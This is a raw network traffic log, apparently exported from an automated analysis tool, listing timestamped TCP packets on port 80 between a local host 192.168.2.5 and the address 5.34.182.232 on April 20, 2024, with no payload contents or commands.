Apr 20, 2024 10:23:46.926422119 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926423073 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926428080 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926433086 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926443100 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926476002 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926512957 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926522970 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926532030 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926542044 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926553011 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926558018 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926567078 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926568031 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926578999 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926578999 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926590919 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926600933 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926618099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:46.926651001 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:46.926687002 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.169893026 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.169975996 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170017958 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170033932 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170054913 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170092106 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170099974 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170129061 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170166016 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170171976 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170205116 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170243025 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170250893 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170279026 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170315981 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170322895 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170352936 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170388937 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170396090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170425892 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170461893 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170469046 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170496941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170535088 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170538902 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170572042 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170609951 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170613050 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170645952 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170681953 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170687914 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170718908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170756102 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170761108 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170792103 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170828104 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170835018 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170866013 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170903921 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170909882 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.170939922 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170979023 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.170985937 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171015978 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171051025 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171057940 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171087980 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171123028 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171133041 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171159983 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171195984 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171201944 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171231985 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171267986 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171274900 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171303988 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171339989 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171345949 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171375990 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171412945 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171417952 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171449900 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171485901 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171493053 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171521902 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171557903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171562910 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171595097 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171631098 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171636105 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171665907 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171701908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171706915 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171737909 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171772957 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171778917 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171808004 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171844959 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171849966 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171880960 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171919107 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171922922 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.171955109 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171991110 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.171999931 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172027111 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172063112 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172070026 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172097921 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172167063 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172169924 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172205925 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172241926 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172244072 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172276974 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172316074 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172323942 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172352076 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172389984 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172390938 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172425032 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172461033 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172466040 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172502041 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172538042 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172544956 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172574997 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172614098 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172616959 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172650099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172687054 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172693014 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172724009 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172759056 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172766924 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172795057 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172830105 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172837019 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.172867060 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.172909021 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.414680004 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.414771080 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.414808989 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.414846897 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.414889097 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.414886951 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.414927006 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.414936066 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.414963961 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.414966106 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415003061 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415040970 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415046930 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415080070 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415116072 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415119886 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415153027 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415189028 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415194988 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415224075 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415261030 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415266991 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415299892 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415335894 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415343046 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415370941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415409088 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415412903 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415446043 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415482998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415498018 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415518999 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415554047 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415559053 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415591002 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415630102 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415631056 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415668011 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415708065 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415714025 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415743113 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415783882 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415787935 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415819883 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415855885 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415860891 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415890932 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415927887 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.415935040 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.415965080 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416001081 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416006088 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416037083 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416073084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416074038 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416141033 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416177034 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416177988 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416213036 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416249037 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416253090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416284084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416318893 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416323900 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416354895 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416390896 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416395903 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416426897 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416464090 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416469097 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416500092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416536093 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416541100 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416570902 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416608095 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416613102 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416644096 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416680098 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416685104 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416717052 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416755915 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416763067 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416790962 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416826963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416831970 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416912079 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416949034 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.416954994 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.416984081 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417021036 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417026043 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417062998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417099953 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417104006 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417135954 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417175055 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417179108 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417210102 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417244911 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417251110 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417282104 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417316914 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417320967 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417357922 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417393923 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417398930 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417432070 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417469978 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417475939 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417505026 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417541027 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417550087 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417577982 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417614937 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417627096 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417651892 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417687893 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417694092 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417725086 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417759895 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417767048 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417795897 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417834997 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417841911 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417870045 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417906046 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417911053 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.417941093 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417975903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.417983055 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418014050 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418051958 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418055058 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418087006 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418123960 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418128967 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418159008 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418195009 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418203115 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418231010 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418267965 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418272972 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418303013 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418339968 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418345928 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418375969 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418411970 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418416023 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418450117 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418487072 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418493986 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418523073 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418557882 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418564081 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418597937 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418634892 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418641090 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418672085 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418709040 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418716908 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418747902 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418783903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418790102 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418819904 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418857098 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418863058 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418893099 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418929100 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418934107 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.418963909 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.418998957 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419006109 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.419034958 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419070959 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419078112 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.419107914 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419147015 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419153929 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.419183016 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419219971 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419224977 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.419313908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419352055 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419358969 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.419388056 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419424057 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419429064 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.419460058 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419497967 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419503927 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:47.419533968 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:47.419578075 CEST	80	49718	5.34.182.232	192.168.2.5
